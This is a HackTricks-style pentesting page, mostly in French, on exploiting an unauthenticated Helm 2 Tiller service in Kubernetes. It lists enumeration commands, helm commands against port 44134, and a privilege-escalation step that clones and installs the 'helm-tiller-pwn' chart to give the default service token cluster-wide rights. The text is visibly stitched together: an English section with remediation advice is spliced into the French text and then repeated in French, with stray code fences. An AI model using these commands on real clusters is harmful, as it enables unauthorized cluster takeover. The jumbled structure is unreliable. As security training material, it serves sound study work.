hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

9 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Informations de base

Helm est le gestionnaire de paquets pour Kubernetes. Il permet de packager des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés Helm Charts. Tiller est le service exécuté par défaut sur le port 44134 offrant le service.

Port par défaut : 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Énumération

Si vous pouvez énumérer les pods et/ou services de différents espaces de noms, énumérez-les et recherchez ceux avec "tiller" dans leur nom :

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# Pentesting Tiller (Helm)

## Summary

Tiller, the server component of Helm, is often deployed with default settings that may lead to security issues. This section covers methods to exploit these weaknesses.

## Discovery

To discover Tiller instances, scan the cluster for services listening on port 44134, which is the default Tiller port.

## Exploitation

If you find a Tiller instance, you can attempt to exploit it. Since Tiller does not authenticate users by default, anyone can interact with it. This can lead to unauthorized access to the cluster's resources.

### Accessing the Tiller API

You can access the Tiller API using the `helm` command-line tool. If you have network access to the Tiller service, you can use the following command to list releases:

```bash
helm list --host <tiller_host>:44134

This command will show you the releases managed by Tiller.

Deploying Malicious Charts

Helm charts are packages of pre-configured Kubernetes resources. You can create a malicious chart to compromise the cluster. Once you have access to Tiller, you can deploy your chart using:

helm install <chart_name> --host <tiller_host>:44134

This will deploy the chart to the cluster, potentially leading to a compromise.

Remediation

To secure Tiller, consider the following:

  • Implement authentication and authorization.
  • Restrict network access to Tiller.
  • Upgrade to Helm 3, which does not use Tiller.

Conclusion

Tiller instances can be a weak point in Kubernetes clusters. By following the outlined pentesting steps, you can identify and mitigate these vulnerabilities.

Pentesting Tiller (Helm)

Résumé

Tiller, le composant serveur de Helm, est souvent déployé avec des paramètres par défaut qui peuvent conduire à des problèmes de sécurité. Cette section couvre les méthodes pour exploiter ces faiblesses.

Découverte

Pour découvrir les instances de Tiller, scannez le cluster à la recherche de services écoutant sur le port 44134, qui est le port par défaut de Tiller.

Exploitation

Si vous trouvez une instance de Tiller, vous pouvez tenter de l'exploiter. Étant donné que Tiller n'authentifie pas les utilisateurs par défaut, n'importe qui peut interagir avec lui. Cela peut conduire à un accès non autorisé aux ressources du cluster.

Accéder à l'API Tiller

Vous pouvez accéder à l'API Tiller en utilisant l'outil en ligne de commande helm. Si vous avez un accès réseau au service Tiller, vous pouvez utiliser la commande suivante pour lister les déploiements :

helm list --host <tiller_host>:44134

Cette commande vous montrera les déploiements gérés par Tiller.

Déployer des Charts Malveillants

Les charts Helm sont des paquets de ressources Kubernetes pré-configurées. Vous pouvez créer un chart malveillant pour compromettre le cluster. Une fois que vous avez accès à Tiller, vous pouvez déployer votre chart en utilisant :

helm install <chart_name> --host <tiller_host>:44134

Cela déploiera le chart dans le cluster, pouvant conduire à un compromis.

Remédiation

Pour sécuriser Tiller, envisagez ce qui suit :

  • Mettre en œuvre l'authentification et l'autorisation.
  • Restreindre l'accès réseau à Tiller.
  • Passer à Helm 3, qui n'utilise pas Tiller.

Conclusion

Les instances de Tiller peuvent être un point faible dans les clusters Kubernetes. En suivant les étapes de pentesting décrites, vous pouvez identifier et atténuer ces vulnérabilités.

```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Vous pourriez également essayer de trouver ce service en cours d'exécution en vérifiant le port 44134 :

sudo nmap -sS -p 44134 <IP>

Une fois découvert, vous pouvez communiquer avec en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme homebrew, ou consulter la page des versions officielles. Pour plus de détails, ou pour d'autres options, consultez le guide d'installation.

Ensuite, vous pouvez énumérer le service :

helm --host tiller-deploy.kube-system:44134 version

Élévation de privilèges

Par défaut, Helm2 était installé dans l'espace de noms kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'élever vos privilèges.

Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera au jeton de service par défaut l'accès à tout dans l'ensemble du cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Dans http://rui0.cn/archives/1573, vous avez l'explication de l'attaque, mais essentiellement, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml dans helm-tiller-pwn/pwnchart/templates/, vous pouvez voir comment tous les privilèges sont accordés au jeton par défaut.

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :